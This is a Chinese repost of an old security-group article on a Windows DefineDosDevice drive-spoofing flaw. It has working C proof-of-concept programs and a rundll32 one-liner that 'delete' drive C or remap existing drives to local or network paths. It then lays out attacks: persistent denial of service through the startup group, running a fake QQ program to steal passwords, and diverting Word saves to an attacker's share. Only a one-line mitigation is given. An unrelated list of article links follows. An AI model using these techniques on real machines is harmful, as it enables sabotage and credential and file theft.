DefineDosDevice设备名欺骗漏洞(缺陷) ,呵呵,和 subst相关

2024-02-21 14:58

本文主要是介绍DefineDosDevice设备名欺骗漏洞(缺陷) ,呵呵,和 subst相关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

DefineDosDevice设备名欺骗漏洞(缺陷) (阅览<script src="http://www.20cn.net/cgi-bin/ns/count.cgi?id=20030810044700" type="text/javascript"> </script> 12701 次)

windows有一个叫"subst"的命令,这个命令可以将文件路径映射成驱动器,具体执行参数如下:

c:/>subst /?
将路径与驱动器号关联。

SUBST [drive1: [drive2:]path]
SUBST drive1: /D

drive1: 指定要指派路径的虚拟驱动器。
[drive2:]path 指定物理驱动器和要指派给虚拟驱动器的
路径。
/D 删除被替换的 (虚拟) 驱动器。

不加任何参数键入 SUBST,可以显示当前虚拟驱动器的清单。

这个程序是如何实现将文件路径映射成驱动器呢?先来研究一下。在system32目录下找到这个程序文件(测试环境是win 2000,下面所有的情况都是这对win 2000操作系统的),用W32Dasm将这个程序反汇编,得到输入函数列表,发现有一个KERNEL32.DLL中的函数DefineDosDeviceW(其实,用文本编辑软件打开,就可以看到所有的导入函数了),这个函数应该就是subst的关键了,在MSDN中找到了这个函数:

BOOL DefineDosDevice(
DWORD dwFlags, // 控制标志
LPCTSTR lpDeviceName, // MS-DOS 设备名
LPCTSTR lpTargetPath // 路径
);

实际操作后发现其中的路径参数并不是形如"c:/winnt"的格式,通过QueryDosDevice函数查询用subst命令建立的虚拟驱动器发现这个参数应为NT格式——"/??/c:/winnt"。关于win 9x/Me下未做测试。

使用"subst"命令时,你会发现这个命令是无法对一个已经存在的设备进行映射的,例如执行命令"subst c: d:/"(将路径"D:/"映射到"C:"):

c:/>subst c: d:/
无效参数 - C:

命令执行失败了,不过想来这也是理所当然的。可是直接调用DefineDosDevice函数却没有这个限制,这可是会引起很大的混乱。你完全可以用特殊的路径来代替一个已存在的驱动器来达到欺骗的目的,也可以"删除"(当然,并不是物理上的删除,但完全可以造成无法访问的假象)一个真实的驱动器。也许难以想象,当windows正在运行的时候,装有系统文件的C盘突然消失了……,不过这并不会造系统崩溃,因为windows以将所有要用的文件都加载到内存中了,但此时已经无法再打开桌面上的任何文件、快捷方式,无法弹出开始菜单中的任何子菜单……,真的是很奇妙的事情啊~~(不过要千万小心,我玩得太过火,使得outlook订的新闻组丢失,还好改注册表改回来了)。

以下代码在windows 2000 SP3 + VC 6.0下编译通过:

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"C:","")) // 删除C盘
MessageBox(GetForegroundWindow(),"error !","Error",MB_OK);
return 0;
}

===================================================

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
char device[1024];
QueryDosDevice("Z:",device,1024); // (驱动器Z是用"subst"虚拟的)来查询映射的路径
MessageBox(GetForegroundWindow(),device,"device name",MB_OK);
return 0;
}

===================================================

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
// 将驱动器D映射成路径"c:/winnt",无论该驱动器是否已经存在
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"D:","//??//C://winnt"))
MessageBox(NULL,"error !","error",MB_OK);
return 0;
}

既然已经知道DefineDosDevice这个函数是在kernel32.dll中的,那么还可以用rundll32.exe来运行这个函数:

rundll32.exe kernel32.dll,DefineDosDeviceA 1,S:,/??/C:/Winnt


更糟糕的是这个函数还可以把网络路径映射成一个驱动器。如执行命令"subst z: //192.168.0.1/test"。不过这个映射的驱动器会在"我的电脑"里会显示出特殊的卷标,以及网络驱动器的图标。当然,还可以通过编程来实现替换一个已经存在的驱动器,代码如下:

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
// 将驱动器C映射成UNC路径
char errortext[20];
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"C:","192.168.0.1//test"))
{
wsprintf(errortext,"Mapping driver failed: %d",GetLastError());
MessageBox(NULL,errortext,"error",MB_OK);
}
return 0;
}

由于这个漏洞的特殊性,其利用方式也是仁者见仁、智者见智的,全凭你的想象力了。我的想象力并不丰富,所以能想到的利用方法也只有以下几个:(感兴趣的朋友可以和我探讨一下,Email:tabris17@citiz.net,QQ:65485803)

1. 使windows拒绝服务:将对方的系统目录所在的驱动器"删除"。现象如上所说,只有重启了事,如果将命令加入启动组,对方可能就会郁闷致死。

2. 欺骗运行恶意程序:假设对方的QQ装在"D:/Program Files/Tencent"目录下,将对方"D:"映射到你精心设置的目录,目录下有"Program Files/Tencent"文件夹,若对方运行了桌面上的QQ快捷方式,便运行了你设置的路径下的QQ.exe,如果这是一个伪装QQ界面的偷密码的恶意程序的话,对方便会在不知情的情况下输入密码,你就可以偷到密码了(好像十分麻烦,不过只是一个思路)。

3. 欺骗获得对方文件:假设对方的Word软件正在编辑一个文档,你可以将保存文档的驱动器映射到你精心设置的共享目录下,然后当对方按下"保存"后,便会将文件保存到你的共享目录下。

解决方法:

你可以通过执行命令"subst"来显示所有的映射驱动器来预防欺骗。

===============================================
本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处
文章类型:原创 提交:四不象 核查:NetDemon

这篇关于DefineDosDevice设备名欺骗漏洞(缺陷) ,呵呵,和 subst相关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/732165

相关文章

sqlite3 相关知识

WAL 模式 VS 回滚模式 特性WAL 模式回滚模式(Rollback Journal)定义使用写前日志来记录变更。使用回滚日志来记录事务的所有修改。特点更高的并发性和性能;支持多读者和单写者。支持安全的事务回滚,但并发性较低。性能写入性能更好,尤其是读多写少的场景。写操作会造成较大的性能开销,尤其是在事务开始时。写入流程数据首先写入 WAL 文件,然后才从 WAL 刷新到主数据库。数据在开始

如何编写Linux PCIe设备驱动器 之二

如何编写Linux PCIe设备驱动器 之二 功能(capability)集功能(capability)APIs通过pci_bus_read_config完成功能存取功能APIs参数pos常量值PCI功能结构 PCI功能IDMSI功能电源功率管理功能 功能(capability)集 功能(capability)APIs int pcie_capability_read_wo

两个月冲刺软考——访问位与修改位的题型(淘汰哪一页);内聚的类型;关于码制的知识点;地址映射的相关内容

1.访问位与修改位的题型(淘汰哪一页) 访问位:为1时表示在内存期间被访问过,为0时表示未被访问;修改位:为1时表示该页面自从被装入内存后被修改过,为0时表示未修改过。 置换页面时,最先置换访问位和修改位为00的,其次是01(没被访问但被修改过)的,之后是10(被访问了但没被修改过),最后是11。 2.内聚的类型 功能内聚:完成一个单一功能,各个部分协同工作,缺一不可。 顺序内聚:

log4j2相关配置说明以及${sys:catalina.home}应用

${sys:catalina.home} 等价于 System.getProperty("catalina.home") 就是Tomcat的根目录:  C:\apache-tomcat-7.0.77 <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} [%t] %-5p %c{1}:%L - %msg%n" /> 2017-08-10

Node Linux相关安装

下载经编译好的文件cd /optwget https://nodejs.org/dist/v10.15.3/node-v10.15.3-linux-x64.tar.gztar -xvf node-v10.15.3-linux-x64.tar.gzln -s /opt/node-v10.15.3-linux-x64/bin/npm /usr/local/bin/ln -s /opt/nod

git ssh key相关

step1、进入.ssh文件夹   (windows下 下载git客户端)   cd ~/.ssh(windows mkdir ~/.ssh) step2、配置name和email git config --global user.name "你的名称"git config --global user.email "你的邮箱" step3、生成key ssh-keygen

zookeeper相关面试题

zk的数据同步原理?zk的集群会出现脑裂的问题吗?zk的watch机制实现原理?zk是如何保证一致性的?zk的快速选举leader原理?zk的典型应用场景zk中一个客户端修改了数据之后,其他客户端能够马上获取到最新的数据吗?zk对事物的支持? 1. zk的数据同步原理? zk的数据同步过程中,通过以下三个参数来选择对应的数据同步方式 peerLastZxid:Learner服务器(Follo

rtmp流媒体编程相关整理2013(crtmpserver,rtmpdump,x264,faac)

转自:http://blog.163.com/zhujiatc@126/blog/static/1834638201392335213119/ 相关资料在线版(不定时更新,其实也不会很多,也许一两个月也不会改) http://www.zhujiatc.esy.es/crtmpserver/index.htm 去年在这进行rtmp相关整理,其实内容早有了,只是整理一下看着方

枚举相关知识点

1.是用户定义的数据类型,为一组相关的常量赋予有意义的名字。 2.enum常量本身带有类型信息,即Weekday.SUN类型是Weekday,编译器会自动检查出类型错误,在编译期间可检查错误。 3.enum定义的枚举类有什么特点。         a.定义的enum类型总是继承自java.lang.Enum,且不能被继承,因为enum被编译器编译为final修饰的类。         b.只能定义

java计算机毕设课设—停车管理信息系统(附源码、文章、相关截图、部署视频)

这是什么系统? 资源获取方式在最下方 java计算机毕设课设—停车管理信息系统(附源码、文章、相关截图、部署视频) 停车管理信息系统是为了提升停车场的运营效率和管理水平而设计的综合性平台。系统涵盖用户信息管理、车位管理、收费管理、违规车辆处理等多个功能模块,旨在实现对停车场资源的高效配置和实时监控。此外,系统还提供了资讯管理和统计查询功能,帮助管理者及时发布信息并进行数据分析,为停车场的科学